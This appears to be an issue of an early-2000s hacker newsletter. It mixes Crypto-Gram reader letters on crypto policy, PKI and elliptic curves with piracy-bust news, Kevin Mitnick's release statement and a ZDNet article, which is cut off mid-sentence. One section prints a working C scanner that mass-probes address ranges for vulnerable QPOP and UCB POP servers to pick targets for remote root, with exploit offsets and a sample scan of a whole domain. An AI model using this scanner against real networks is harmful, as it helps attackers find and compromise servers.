I work in the finance industry in Europe -- Zurich, to be precise -- and
have some involvement with security. This industry (a) WILL NOT use U.S.
crypto products, and (b) will certainly NOT make any long-term plans or
partnerships to do so for U.S. products with consumer content, because (a)
the products to date are forced by law to be weak, but more important, (b)
the U.S. government can't be trusted. Even if it approved today the export
of some products based on strong crypto, everyone knows that this
permission could be terminated tomorrow for the same or other products.
And everyone also suspects strongly that the U.S. government will in any
case force providers to put trap doors into their products.
Under the circumstances, the European finance and e-business industries
would be have to be crazy to use U.S. crypto-based products. And they're
not crazy.
To play in this business in the rest of the world, the U.S. will have to
have a clear, consistent, and favorable policy, and U.S. companies will
have to present products that are demonstrably strong with no trap doors.
(I invite you to speculate if this will happen before Hell freezes over.)
In the meantime, there are plenty of non-U.S. products to choose from, and
banks like UBS, Credit Suisse, Grupo Intesa, Societe General, Deutsche
Bank, Generale Bank, Bank Austria, and Barclays are not sitting back
anxiously waiting for U.S. products to become available. They're doing
business with non-U.S. products that are just fine, thank you.
From: "Grawrock, David" <david.grawrock@intel.com>
Subject: Electronic voting
All these comments regarding electronic voting and absentee voting are
missing the mark. The State of Oregon has that all elections (except
presidential) are done by mail. It's like the entire state is voting absentee.
The process is actually pretty painless. You receive your voter pamphlet
and then you get your ballot. It has to be in by election day. If you
miss the excitement of going to the voting booth there are collection
points where you can drop off your filled in ballot. It's really not that
hard.
The point here is that the state has determined that it is easier (and
cheaper) to simply process the entire election via the absentee process.
It now becomes a simple step to go from by mail to by electronic voting.
All of the arguments regarding coercion must already have been answered
(the government always thinks a process through completely). We have
elected all sorts of politicians without anyone coming back and reporting
problems with coercion.
From: Gerry Brown <gerry@liberate.com>
Subject: RE: Absentee Ballots
I just checked some figures with a friend who has the data on Absentee
Ballots for San Mateo County in California and he has compared it with the
San Francisco elections held this week.
The percentage of registered voters using absentee ballots is about
13%-15%. But the more astonishing is the fact that 35%-50% of those
actually voting are done by absentee ballots. The lower figure is for
national elections and the higher side corresponds to local elections.
From: "Hillis, Brad" <BradH@DIS.WA.GOV>
Subject: PKI article--agree and disagree
I can't begin to tell you how much I enjoyed your article with Carl
Ellison, "Ten Risks of PKI: What You're not Being Told about Public Key."
I'm the lead ecommerce attorney for the state of Washington, and we are
currently procuring a private PKI vendor to provide digital signatures for
state and local government, similar to the federal government ACES procurement.
What you say that PKI is not needed for ecommerce to flourish is true.
It's a thought I keep having at all the digital signature law presentations
I attend, and the theme I had planned to discuss at my March 7 talk in
Boston on PKI. One has to keep asking oneself, why do I need a digital
signature? What is the opportunity cost of setting up a PKI? (That is,
what security improvements could I make if I spent the money on something
besides PKI).
However, I disagree with this statement in your article:
"In other words, under some digital signature laws (e.g., Utah and
Washington), if your signing key has been certified by an approved CA, then
you are responsible for whatever that private key does. It does not matter
who was at the computer keyboard or what virus did the signing; you are
legally responsible."
The law seems to say that at first reading, but my view of the law is that
it sets up a "rebuttable presumption" of non-repudiation. This is the same
rule that applies to physical, pen and ink signatures. Your statement
reflects the views of some proponents of PKI who overstate the legal force
of a "licensed digital signature" under Washington law. But if, in fact, I
never applied my digital signature to a document, and I can prove it (e.g.,
I have an alibi), then I would not be legally responsible. I believe that
is the situation in non-PKI electronic signature schemes, where a (paper
and manually signed) Electronic Data Interchange Agreement or Trading
Partner Agreement will state that all data submitted between the parties
carries the same legal force as if it was manually signed.
Having found flaws in the PKI-style laws of Washington, Utah and Minnesota,
I do not find a great deal of higher or practical intelligence in the more
popular electronic signature laws, either. Esignature laws have not proven
any more important to ecommerce than PKI digital signature laws, so why are
we in such a rush to pass UETA (uniform electronic transaction act)?
From: "Carl Ellison" <cme@acm.org>
Subject: Re: PKI article--agree and disagree
You are correct. However, I believe we still need to warn against the
rebuttable presumption of non-repudiation. The keyholder may have no alibi
at all. The keyholder may not be aware that his key was misused (e.g., by
an attacker who had gained physical or network access to his computer).
This is similar to the position people were in in Britain when they were
challenging ATM card operations. It took expert witnessing by Ross
Anderson to defend some of their claims, and even then it didn't always
work. There, too, the presumption was that the cardholder performed any
operation when the ATM logs said he did -- whether he did or not. It was
up to the cardholder to prove the negative.
This gets even worse when the keyholder has his private key on a smartcard
in his possession. It's that much harder to convince a jury that you
didn't sign, if the merchant or bank can claim that the signing key never
left your personal possession. When an attacker has network access to your
computer, he doesn't leave a trail. You have no audit record showing the
attack. It's your word against the merchant's and you have no evidence to
offer on your behalf. You can't even accuse anyone else. You have no idea
who to accuse.
Meanwhile, your account has been debited until you manage to prove your
point (against the presumption that you're lying). When you compare this
to credit card purchases, it's radically different. With a credit card,
you have not spent anything until you write the check to the credit card
company. When or before you write that check, you can challenge a line
item and force the merchant to prove that you were in fact the purchaser.
At least with my AMEX account, the immediate result is that AMEX removes
the item from my statement -- to be reinstated if the merchant is able to
prove that I did do the purchase. I have had such challenges go my way
once and the other times, I had simply forgotten. In one case, I thought I
was being double-billed, but it turns out I had never been billed the first
time (many months before).
From: Alfred John Menezes <ajmeneze@cacr.math.uwaterloo.ca>
Subject: Elliptic Curve Cryptosystems
I read with interest your recent article on ECC in the November 15 issue of
Crypto-Gram. I agree with most of your statements and comments.
Your recommendations were:
1) If you're working in a constrained environment where longer keys just
won't fit, consider elliptic curves.
2) If the choice is elliptic curves or no public-key algorithms at all,
use elliptic curves.
3) If you don't have performance constraints, use RSA.
4) If you are concerned about security over the decades (and almost no
systems are), use RSA.
I certainly agree with recommendations 1) and 2) -- ECC certainly cannot be
worse than no security at all!
Regarding recommendation 3), I think that most environments which call for
public-key solutions will have *some* performance constraints. The
limiting factor could be an over-burdened web server which needs to sign
thousands of outgoing messages per minute, a handheld device which is
communicating with a PC, etc. In such scenarios, one should select the
public-key method that performs the best in the most constrained
environment. If the constraints involve key sizes, bandwidth, power
consumption, or speed (for private key operations), then ECC is likely the
method of choice over RSA.
Finally, I feel that your recommendation that RSA should be used (instead
of ECC) in situations where you are concerned with long-term security is a
bit unfair. After all, as you state in the postscript to your article, all
the analysis you used on the elliptic curve discrete logarithm problem also
applies to the integer factorization problem. I propose that applications
which do require long-term security should consider using both* RSA and ECC
-- by double encrypting a message with RSA and ECC, or by signing a message
twice with RSA and ECC.
The following are my condensed thoughts on the security and efficiencies of
ECC as compared with RSA. They should be considered a supplement to your
Crypto-Gram article, and not a replacement of it.
http://www.cacr.math.uwaterloo.ca/~ajmeneze/misc/cryptogram-article.html
((This is a good essay, but remember the author's bias. He works for
Certicom, and it is in his financial interest for you to believe in
elliptic curves. --Bruce))
** *** ***** ******* *********** *************
CRYPTO-GRAM is a free monthly newsletter providing summaries, analyses,
insights, and commentaries on computer security and cryptography.
To subscribe, visit http://www.counterpane.com/crypto-gram.html or send a
blank message to crypto-gram-subscribe@chaparraltree.com. To unsubscribe,
visit http://www.counterpane.com/unsubform.html. Back issues are available
on http://www.counterpane.com.
Please feel free to forward CRYPTO-GRAM to colleagues and friends who will
find it valuable. Permission is granted to reprint CRYPTO-GRAM, as long as
it is reprinted in its entirety.
CRYPTO-GRAM is written by Bruce Schneier. Schneier is founder and CTO of
Counterpane Internet Security Inc., the author of "Applied Cryptography,"
and an inventor of the Blowfish, Twofish, and Yarrow algorithms. He served
on the board of the International Association for Cryptologic Research,
EPIC, and VTW. He is a frequent writer and lecturer on computer security
and cryptography.
Counterpane Internet Security, Inc. is a venture-funded company bringing
innovative managed security solutions to the enterprise.
http://www.counterpane.com/
Copyright (c) 2000 by Bruce Schneier
ISN is sponsored by Security-Focus.COM
@HWA
20.0 POPS.C qpop vulnerability scanner by Duro
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
/* POPScan QPOP/UCB/SCO scanner by duro
duro@dorx.net
takes list of ip's from stdin
The hosts gathered by this scanner are
almost 100% vulnerable to a remote
root attack. The exploits used to root
the vulnerable machines can all be found by
searching bugtraq. UCB pop is 100% of the
time vulnerable to the qpop exploit (it's a very
old version of qpop). The QPOP version is
filitered to make sure that non-vulnerable
versions do not show up in the scan.
Common offsets for the bsd qpop exploit are:
621, 1500, 500, 300, 900, 0
Example usage:
./z0ne -o ac.uk | ./pops > ac.uk.log &
would scan ac.uk for vulnerabilities.
much help from jsbach
*/
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <signal.h>
int ADMtelnet (u_long, int port);
char domain[50];
int NUMCHILDREN = 150, currchilds = 0; /* change numchildren to taste */
char ip[16];
int temp1 = 0;
void scan(char *ip);
void alrm(void) { return; }
main()
{
while( (fgets(ip, sizeof(ip), stdin)) != NULL)
switch(fork()) {
case 0: {
scan(ip); exit(0);
}
case -1: {
printf("cannot fork so many timez@!@^&\n");
exit(0);
break;
}
default:
{
currchilds++;
if (currchilds > NUMCHILDREN)
wait(NULL);
break;
}
}
}
void scan(char *ip)
{
char printip[16];
struct sockaddr_in addr;
int sockfd;
char buf[512];
bzero((struct sockaddr_in *)&addr, sizeof(addr));
sockfd = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_addr.s_addr = inet_addr(ip);
addr.sin_port = htons(110);
addr.sin_family = AF_INET;
signal(SIGALRM, alrm);
alarm(5);
if ( (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) != -1))
{
recv(sockfd, (char *)buf, sizeof(buf), 0);
if ( (strstr(buf, "QPOP") ) != NULL && (strstr(buf, "2.5")) == NULL && (strstr(buf, "krb")) == NULL)
{
checkos(ip,1);
}
if((strstr(buf, "UCB")) != NULL)
checkos(ip,2);
if((strstr(buf, "SCO")) != NULL)
{
strcpy(printip, ip);
if ((temp1=strrchr(printip, '\n')) != NULL)
bzero(temp1, 1);
printf("%s: SCO Unix box running SCO pop.\n",printip);
}
}
return;
}
// }
checkos(char *ip, int spl)
{
int temp2;
char printip[16];
unsigned long temp;
temp = inet_addr(ip);
temp2 = ADMtelnet(temp, 23);
strcpy(printip, ip);
if ((temp1=strrchr(printip, '\n')) != NULL)
bzero(temp1, 1);
if ((temp2 == 1)&&(spl==1))
printf("%s: OpenBSD box running vuln QPOP\n",printip);
if ((temp2 == 1)&&(spl==2))
printf("%s: OpenBSD box running vuln UCB pop\n",printip);
if ((temp2 == 2)&&(spl==1))
printf("%s: FreeBSD box running vuln QPOP\n",printip);
if ((temp2 == 2)&&(spl==2))
printf("%s: FreeBSD box running vuln UCB pop\n",printip);
if ((temp2 == 3)&&(spl==1))
printf("%s: BSDi box running vuln QPOP\n",printip);
if ((temp2 == 3)&&(spl==2))
printf("%s: BSDi box running vuln UCB pop\n",printip);
}
int ADMtelnet (u_long ip, int port)
{
struct sockaddr_in sin;
u_char buf[4000];
int dasock, len;
int longueur = sizeof (struct sockaddr_in);
dasock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); /* gimme a socket */
sin.sin_family = AF_INET;
sin.sin_port = htons (port);
sin.sin_addr.s_addr = ip;
if (connect (dasock, (struct sockaddr *) &sin, longueur) == -1)
return (-1);
while (1)
{
memset (buf, 0, sizeof (buf));
if ((len = read (dasock, buf, 1)) <= 0)
break;
if (*buf == (unsigned int) 255)
{
read (dasock, (buf + 1), 2);
if (*(buf + 1) == (unsigned int) 253 && !(u_char) * (buf + 2));
else if ((u_char) * (buf + 1) == (unsigned int) 253)
{
*(buf + 1) = 252;
write (dasock, buf, 3);
}
}
else
{
if (*buf != 0)
{
bzero (buf, sizeof (buf));
read (dasock, buf, sizeof (buf));
usleep(40000);
if((strstr(buf, "OpenBSD") != NULL))
return 1;
if((strstr(buf, "FreeBSD") != NULL))
return 2;
if((strstr(buf, "BSDI") != NULL))
return 3;
sleep (1);
}
}
}
return 0;
}
@HWA
21,0 Hackunlimited special birthday free-cdrom offer
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Contributed by noose
http://www.hackunlimited.com/
Would you want to have all the files in Hackunlimited.com in CD, for free
of fcourse ?
Just send mailto noose@hackunlimited.com The message itself can be empty,
just put the Subject to "Free CD" and you are part of our "lottery" :).
You have time until 13th of February to send the message. 3 people will
win the CD. The winners will be announced at 22th of February.
The CD will include all files at http://www.hackunlimited.com + all the
files in http://www.hackunlimited.com/raz0r
The file list is available here:
http://www.hackunlimited.com/cdlist.txt
@HWA
22.0 HACK MY SYSTEM! I DARE YA!
~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.securiteam.com/securitynews/_Can_you_break_into_my_system__I_dare_you__.html
Title "Can you break into my system? I dare you!"
Summary
We in Beyond Security believe that the only way to test your security is
by trying to break it. But we're not as drastic as one Linux system
administrator who took this one step further - he is asking attackers to
try and break into a server he is administrating.
Details
Many administrators have to deal with potentially malicious users having
legal accounts on their servers. Universities, ISPs and large companies
have to consider the risk that local users, having access to the system as
valid users, will sometime try to elevate their privileges. The
system administrator of zeus-olympus.yi.org assumes that some of his users
are 'evil'. Although he is confident that his Linux system is secured, he
would like others to do their best to attack his system. He therefore
provided two user accounts that have normal user access to the system, and
he allows anyone who wishes to use those accounts and gain entry to the
server. Once logged in, the users are free to try and compromise the
system's security, with no strings attached. The only 'catch' is that once
vulnerability is found, it should be reported immediately, so that the
hole can be closed. This offer is extremely unique. There have been
'hacking' contests in the past (usually by commercial companies trying to
show that their product is secure), but this is one of the first time that
an administrator is offering full access to the machine (using a valid
user account) - which of course makes this game much more interesting.
Therefore, if you would like to try and break a Linux Redhat machine, join
this war game and give it your best shot.
Additional information
To join the contest, visit http://zeus-olympus.yi.org/ and enter the
'password required' section. The login is: war and the password is game.
Upon entering this section, you will receive the account information
needed to log into the server.
Feel free to give Danny some feedback about his war game: dannyw@mediaone.net.
@HWA
23.0 PWA lead member busted by the FBI
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Contributed by TRDonJuan
http://www.suntimes.com/output/news/ware04.html
Software pirating ring cracked by local
FBI
February 4, 2000
BY LORRAINE FORTE STAFF REPORTER
Chicago FBI agents say they have broken up a worldwide ring of software
thieves--called the "Pirates with Attitude"--who were distributing thousands of
programs, including the yet-unreleased Windows 2000.
A tip from an informant in Chicago led to the breakup of "one of the most sophisticated
and longest-standing" piracy and hacking rings, according to a complaint filed Thursday
in federal court in Chicago.
The FBI used the informant's access codes to break into the group's Web site and
obtain a roster of the suspects.
Robin Rothberg was arrested Thursday at his home in New Chelmsford, Mass., near
Boston. Federal officials say he was a founder and key member of the ring, which
evaded law enforcement for eight years. He is charged with conspiring to infringe
copyright.
Three days before Christmas, Rothberg somehow got a copy of Windows 2000--the
latest update of the operating system, scheduled to go on sale next month--and
uploaded it to the Internet, according to the criminal complaint.
Rothberg, an employee of NEC Technologies, accessed the group's Internet site
through a Zenith Data Systems computer server in Buffalo Grove, the complaint
states. At least two other users allegedly pirated and distributed software through
servers in Chicago, at MegsInet Inc. on West Ohio and at Computer Engineers Inc. on
North Wacker.
Members of the group downloaded software in exchange for uploading other
programs, said Assistant U.S. Attorney Lisa Griffin. They might then give away or sell
that software.
"It was a barter system, with the upshot being that the site itself contained an
incredible amount of software," Griffin said.
FBI spokesman Ross Rice said the investigation is continuing. Authorities do not yet
know the size of the pirating ring, or the monetary value of the thousands of stolen
software titles allegedly distributed from the group's WAREZ site, called Sentinel.
WAREZ is a term for an Internet site that distributes pirated versions of software. The
Sentinel site was launched in April 1996 and was set up so that only authorized users
could access it; it was not available to the general public.
The group's members were "carefully screened to minimize the risk of detection" and
were given specific roles, such as "crackers," who stripped away the copy protection
often embedded in commercial software; "couriers," who transferred large volumes of
software files from other pirating sites, and "suppliers," who brought in programs from
major software companies.
Rothberg, according to the complaint, stole at least nine other major Microsoft
programs between June and October 1999. Microsoft did not respond Thursday to
requests to comment on the case.
An industry group, the Business Software Alliance, has said software theft costs
33,000 jobs and $11 billion a year.
-=-
http://www.bostonherald.com/bostonherald/lonw/comp02042000.htm
FBI nabs Chelmsford man in software piracy ring
by Andrea Estes
Friday, February 4, 2000
Federal officials say they've captured a leader of a worldwide band of
e-pirates who surf the cyberseas in search of software plunder.
Robin Rothberg, 32, of Chelmsford, is a founding member of Pirates
with Attitudes, an international crew that steals popular titles from
powerful companies and gives them away to its members for free, the
FBI says.
The group, snared by FBI agents in Chicago, is sophisticated and
devious enough to have sought after software before it hits the
shelves, authorities said.
In December, FBI agents found Windows 2000 - which still hasn't
been released - and Office 2000 premium, a program given to select
customers for testing purposes.
In all, agents found enough software to fill the memory of 1,200
average-sized personal computer hard drives.
Rothberg, who until last week was a notebook software engineer for
NEC Computer Services in Acton, was arrested yesterday and
charged with conspiracy in U.S. District Court in Boston. Wearing a
long ponytail and black leather jacket, he pleaded not guilty and was
released without bail.
According to an FBI affidavit, Pirates with Attitudes is a highly
structured organization with different members assigned different
tasks.
``Suppliers'' steal the programs from major software companies.
``Couriers'' deliver the files to PWA and ``crackers'' strip away the
security codes that prevent piracy.
The group, overseen by a council, screens members to ``minimize the
risk of detection by authorities,'' according to an affidavit filed by FBI
Special Agent Michael Snyder of Chicago.
Rothberg, who is alleged to be a member of the council, was arrested
after an informant helped steer Snyder, an MBA and computer expert,
through its maze-like system.
Agents located PWA's internet site, ``Sentinel,'' which is accessible
only to authorized users.
``Members maintain access to PWA's site by providing files, including
copyrighted software files obtained from other sources, and in turn
are permitted to copy files provided by other users,'' wrote Snyder.
``Using the confidential informant's access codes, FBI agents logged
onto Sentinel and viewed a directory listing thousands of copyrighted
software titles available for downloading by PWA members,'' he wrote.
So far only Rothberg has been arrested. Chicago authorities
yesterday said the investigation is continuing.
``In the simplest terms, it's an organization that allowed its members
to upload software to a site configured so it could store a substantial
amount of software,'' said assistant United States Attorney Lisa
Griffin. ``They could then download it into their own computers.''
Members give and take what they wish, officials said.
``It's a two-way street,'' said Randy Sanborn, spokesman for the
United States Attorney's Office in the Northern District of Illinois.
Officials wouldn't say whether members have to pay anything - such
as a membership fee - for the service.
Rothberg was downsized out of his job last week when the division he
worked for ceased to exist, according to an NEC spokeswoman, who
said the company has no plans to investigate Rothberg's job
performance.
Rothberg asked Magistrate Judge Robert Collings for permission to
travel to California today for a job interview.
And Rothberg said he had several more planned, his attorney Joseph
Savage told Collings.
Collings ordered him to stay off his computer except to look for a job,
let the FBI spot check his e-mail, and get the court's permission if he
wants to travel outside the Bay State.
@HWA
24.0 Mitnick's Release Statement
~~~~~~~~~~~~~~~~~~~~~~~~~~~
I debated wether or not to include this in this issue since the news is
saturated with Mitnick stories right now (at least they're taking notice)
and decided it was valid to include it here in our archives. There are
many more articles available on Mitnick, so i've just included his release
statement.
Check out the sites
http://www.freekevin.com/ or http://www.2600.com/ for more info
Mitnick's Release Statement:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
January 21, 2000
Kevin Mitnick read the statement shown below upon his release from federal custody in Lompoc, California
after nearly 5 years behind bars.
Mr. Mitnick is the copyright holder of this statement, and hereby gives permission for limited reuse and
republication under the Fair Use doctrine of U.S. Copyright Law. All other rights reserved.
Good morning.
Thank you all for taking the time to come out to Lompoc today, my first day of freedom in nearly
five years. I have a brief statement to read, and I ask that you permit me to read my statement
without interruption.
First, I'd like to thank the millions of people who have visited the website kevinmitnick.com during
my incarceration, and who took the time to show their support for me during the past five years. I
relied on their support during the five years I've been incarcerated more than they will ever realize,
and I want to thank them all from the bottom of my heart.
As many of you know, I've maintained virtually complete silence during my incarceration -- I've
refused dozens of requests for interviews from news organizations from around the world, and for
very real reasons -- my actions and my life have been manipulated and grossly misrepresented by
the media since I was 17, when the Los Angeles Times first violated the custom, if not the law, that
prohibits publication of the names of juveniles accused of crimes.
The issues involved in my case are far from over, and will continue to affect everyone in this society
as the power of the media to define the "villain of the month" continues to increase.
You see, my case is about the power of the media to define the playing field, as well as the tilt of
that playing field -- it's about the power of the media to define the boundaries of "acceptable
discussion" on any particular issue or story.
My case is about the extraordinary breach of journalistic ethics as demonstrated by one man, John
Markoff, who is a reporter for one of the most powerful media organizations in the world, the New
York Times.
My case is about the extraordinary actions of Assistant U.S. Attorneys David Schindler and
Christopher Painter to obstruct my ability to defend myself at every turn.
And, most importantly, my case is about the extraordinary favoritism and deference shown by the
federal courts toward federal prosecutors who were determined to win at any cost, and who went as
far as holding me in solitary confinement to coerce me into waiving my fundamental Constitutional
rights. If we can't depend on the courts to hold prosecutors in check, then whom can we depend on?
I've never met Mr. Markoff, and yet Mr. Markoff has literally become a millionaire by virtue of his
libelous and defamatory reporting -- and I use the word "reporting" in quotes -- Mr. Markoff has
become a millionaire by virtue of his libelous and defamatory reporting about me in the New York
Times and in his 1991 book "Cyberpunk."
On July 4th, 1994, an article written by Mr. Markoff was published on the front page of the New
York Times, above the fold. Included in that article were as many as 60 -- sixty! -- unsourced
allegations about me that were stated as fact, and that even a minimal process of fact-checking
would have revealed as being untrue or unproven.
In that single libelous and defamatory article, Mr. Markoff labeled me, without justification, reason,
or supporting evidence, as "cyberspace's most wanted," and as "one of the nation's most wanted
computer criminals."
In that defamatory article, Mr. Markoff falsely claimed that I had wiretapped the FBI -- I hadn't --
that I had broken into the computers at NORAD -- which aren't even connected to any network on
the outside -- and that I was a computer "vandal," despite the fact that I never damaged any
computer I've ever accessed. Mr. Markoff even claimed that I was the "inspiration" for the movie
"War Games," when a simple call to the screenwriter of that movie would have revealed that he had
never heard of me when he wrote his script.
In yet another breach of journalistic ethics, Mr. Markoff failed to disclose in that article -- and in all
of his following articles about me -- that we had a pre-existing relationship, by virtue of Mr.
Markoff's authorship of the book "Cyberpunk." Mr. Markoff also failed to disclose in any of his
articles about this case his pre-existing relationship with Tsutomu Shimomura, by virtue of his
personal friendship with Mr. Shimomura for years prior to the July 4, 1994 article Mr. Markoff wrote
about me.
Last but certainly not least, Mr. Markoff and Mr. Shimomura both participated as de facto
government agents in my arrest, in violation of both federal law and jounalistic ethics. They were
both present when three blank warrants were used in an illegal search of my residence and my
arrest, and yet neither of them spoke out against the illegal search and illegal arrest.
Despite Mr. Markoff's outrageous and libelous descriptions of me, my crimes were simple crimes of
trespass. I've acknowledged since my arrest in February 1995 that the actions I took were illegal,
and that I committed invasions of privacy -- I even offered to plead guilty to my crimes soon after
my arrest. But to suggest without reason or proof, as did Mr. Markoff and the prosecutors in this
case, that I had committed any type of fraud whatsoever, is simply untrue, and unsupported by the
evidence.
My case is a case of curiosity -- I wanted to know as much as I could find out about how phone
networks worked, and the "ins" and "outs" of computer security. There is NO evidence in this case
whatsoever, and certainly no intent on my part at any time, to defraud anyone of anything.
Despite the absence of any intent or evidence of any scheme to defraud, prosecutors Schindler and
Painter refused to seek a reasonable plea agreement -- indeed, their first "offer" to me included the
requirement that I stipulate to a fraud of $80 million dollars, and that I agree never to disclose or
reveal the names of the companies involved in the case.
Have you ever heard of a fraud case where the prosecutors attempted to coverup the existence of
the fraud? I haven't. But that was their method throughout this case -- to manipulate the amount of
the loss in this case, to exaggerate the alleged harm, to cover up information about the companies
involved, and to solicit the companies involved in this case to provide falsified "damages" consistent
with the false reputation created by Mr. Markoff's libelous and defamatory articles about me in the
New York Times.
Prosecutors David Schindler and Christopher Painter manipulated every aspect of this case, from
my personal reputation to the ability of my defense attorney to file motions on time, and even to the
extent of filing a 1700 item exhibit list immediately before trial. It was the prosecutors' intent in this
case to obstruct justice at every turn, to use the unlimited resources of the government and the
media to crush a defendant who literally had no assets with which to mount a defense.
The fact of the matter is that I never deprived the companies involved in this case of anything. I
never committed fraud against these companies. And there is not a single piece of evidence
suggesting that I did so. If there was any evidence of fraud, do you really think the prosecutors in
this case would have offered me a plea bargain? Of course not.
But prosecutors Schindler and Painter would never have been able to violate my Constitutional rights
without the cooperation of the United States federal court system. As far as we know, I am the only
defendant in United States' history to ever be denied a bail hearing. Recently, Mr. Painter claimed
that such a hearing would have been "moot," because, in his opinion, the judge in this case would not
have granted bail.
Does that mean that the judge in this case was biased against me, and had her mind made up before
hearing relevant testimony? Or does that mean that Mr. Painter believes it is his right to determine
which Constitutional rights defendants will be permitted to have, and which rights they will be
denied?
The judge in this case consistently refused to hold the prosecutors to any sort of prosecutorial
standard whatsoever, and routinely refused to order the prosecutors to provide copies of the
evidence against me for nearly four years. For those of you who are new to this case, I was held in
pre-trial detention, without a bail hearing and without bail, for four years. During those four years, I
was never permitted to see the evidence against me, because the prosecutors obstructed our efforts
to obtain discovery, and the judge in this case refused to order them to produce the evidence against
me for that entire time. I was repeatedly coereced into waiving my right to a speedy trial because
my attorney could not prepare for trial without being able to review the evidence against me.
Please forgive me for taking up so much of your time. The issues in this case are far more important
than me, they are far more important than an unethical reporter for the New York Times, they're far
more important than the unethical prosecutors in this case, and they are more important than the
judge who refused to guarantee my Constitutional rights.
The issues in this case concern our Constitutional rights, the right of each and every one of us to be
protected from an assault by the media, and to be protected from prosecutors who believe in winning
at any cost, including the cost of violating a defendant's fundamental Constitutional rights.
What was done to me can be done to each and every one of you.
In closing, let me remind you that the United States imprisons more people than any other country on
earth.
Again, thank you for taking time out of your busy lives to come to Lompoc this morning, and thank
you all for your interest and your support.
@HWA
24.1 More submitted Mitnick articles
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Contributions by Zym0t1c
Hacker Mitnick released Friday
For the first time since 1995, computer criminal Kevin Mitnick is a free
man. But will he hack again?
Nearly five years after news of his arrest blazed across the nation's
headlines, hacker Kevin Mitnick walked out of a medium security prison in
Lompoc, Calif., early friday morning...
Nearly five years after news of his arrest blazed across the nation's
headlines, hacker Kevin Mitnick walked out of a medium security prison in
Lompoc, Calif., early Friday morning -- and into an uncertain future.
Read the article online at:
http://www.zdnet.com/zdnn/stories/news/0,4586,2425165,00.html
Read the (fine but short) dutch article at:
http://www.zdnet-be.com/zdbe.asp?ch=NI&artid=4462
Since this is *big* news, you can stay here and read the ASCII-version:
Hacker Mitnick released Friday
By Kevin Poulsen, ZDNet News
UPDATED January 21, 2000 9:30 AM PT
For the first time since 1995, computer criminal Kevin Mitnick is a free
man. But will he hack again?
Nearly five years after news of his arrest blazed across the nation's
headlines, hacker Kevin Mitnick walked out of a medium security prison in
Lompoc, Calif., early friday morning...
Nearly five years after news of his arrest blazed across the nation's
headlines, hacker Kevin Mitnick walked out of a medium security prison in
Lompoc, Calif., early Friday morning -- and into an uncertain future.
The 36-year-old hacker was greeted at the gate by friends and family
members. His mother will drive him to Los Angeles, where his first order of
business will be to obtain a driver's license, report to his new probation
officer and see a doctor about injuries he suffered in a prison bus accident
last year.
"He's having neck pains, and back and shoulder pains," said Reba Vartanian,
Mitnick's grandmother. "He hasn't had a regular doctor in five years."
A free man for the first time since 1995, he will live in the Los Angeles
suburb of Westlake Village with his father, Alan Mitnick, a general
contractor.
Less clear is what Mitnick is going to do for a living. Under court order,
the hacker is banned for three years from using any kind of computer
equipment without the prior written permission of his probation officer -- a
restriction that even the court acknowledged would affect his employability.
"He's experiencing a lot of frustration over the things he can't do," said
Eric Corley, editor of the hacker magazine 2600 and the leader of a "Free
Kevin" grass-roots movement. "Keep in mind this is someone who's been kept
away from these things for five years, and when he gets out he won't even be
able to touch them."
Does incarceration cure an addict?
The restrictions, and long history of recidivism, make one former friend and
partner-in-crime pessimistic about Mitnick's future. "Do you cure a drug
addict or alcoholic by incarceration on its own?" asked Lew DePayne,
rhetorically. "Do you cure him by taking away his ability to earn a living?"
Mitnick and DePayne became friends in the late 1970s, when they were both
teenagers. Together, they explored and manipulated the telephone network as
Los Angeles' most notorious "phone phreaks." In the 1980s, DePayne seemingly
dropped out of the scene, while Mitnick moved on to corporate computers and
networks, developing a penchant for cracking systems in search of
proprietary "source code," the virtual blueprints for a computer program or
operating system.
Mitnick had already been in a series of minor skirmishes with the law when,
in 1989, he suffered his first adult felony conviction for cracking
computers at Digital Equipment Corp. and downloading source code. He served
one year in federal custody, followed by three years of supervised release.
In 1992, Mitnick was charged with a violation of his supervision for
associating with DePayne again. He went underground and online, using the
Internet to crack computers belonging to such cell phone and computer makers
as Motorola (NYSE: MOT), Fujtsu and Sun Microsystems (Nasdaq: SUNW) and to
copy more proprietary source code. The FBI captured him on Feb. 15, 1995,
when computer security expert Tsutomu Shimomura suffered an attack on his
machine and responded by tracking Mitnick to his hideout in Raleigh, N.C.
Shimomura and New York Times reporter John Markoff went on to write the
book "Takedown: The Pursuit and Capture of America's Most Wanted Computer
Outlaw -- By The Man Who Did It." Shimomura and Markoff sold the movie
rights to Miramax Films, who cast Skeet Ulrich as Mitnick. But since
shooting wrapped on the project in December 1998 the movie has languished on
the shelf with no known theatrical release date, surrounded by swirling
rumors of a direct-to-video or cable TV release. Miramax publicists didn't
return telephone inquiries about the project.
Mitnick's arrest began a series of courtroom battles over procedures and
evidence that finally ended last year in a plea agreement.
The hacker pleaded guilty in March 1999 to seven felonies and admitted to
his Internet hacking. In August 1999, Judge Marianna Pfaelzer sentenced him
to 46 months in prison, on top of an earlier 22 months sentence for the
supervision violation and cell phone cloning. With credit for his lengthy
period of pretrial custody, and some time off for good behavior, Mitnick's
served just under five years in prison.
"My sincere hope is that he gets his act together and complies with the
conditions of his supervised release and doesn't engage in further hacking
activity," said Assistant U.S. Attorney Christopher Painter, one of
Mitnick's two federal prosecutors. Painter's work on the Mitnick case helped
propel him to a position as deputy chief of the U.S. Department of Justice's
computer crime and intellectual property section in Washington, D.C. He
begins at the DOJ in March.
"I think that the significance of this case is that he was so prolific. He
not only had done this once before, but he did it on such a large scale,"
Painter said. "If past ends up being prologue, then certainly we'll go back
to court and deal with it at that time."
From hacking to ham?
Greg Vinson, one of Mitnick's defense attorneys, foresees a rosier future
for the hacker, perhaps with a job that exploits his famous ability to
"social engineer" people into doing his bidding.
"I think he's had a number of different offers to kind of do PR-type of
work," said Vinson, who also points out that Mitnick might still get a
computer job. "You have to remember the order says, 'Without the prior
express permission of the probation office.' So it's not absolutely
prohibited."
If Mitnick can't use computers, he reportedly hopes to indulge his love for
technology by returning to amateur radio, a childhood passion. Federal
Communications Commission records show that Mitnick's license expired last
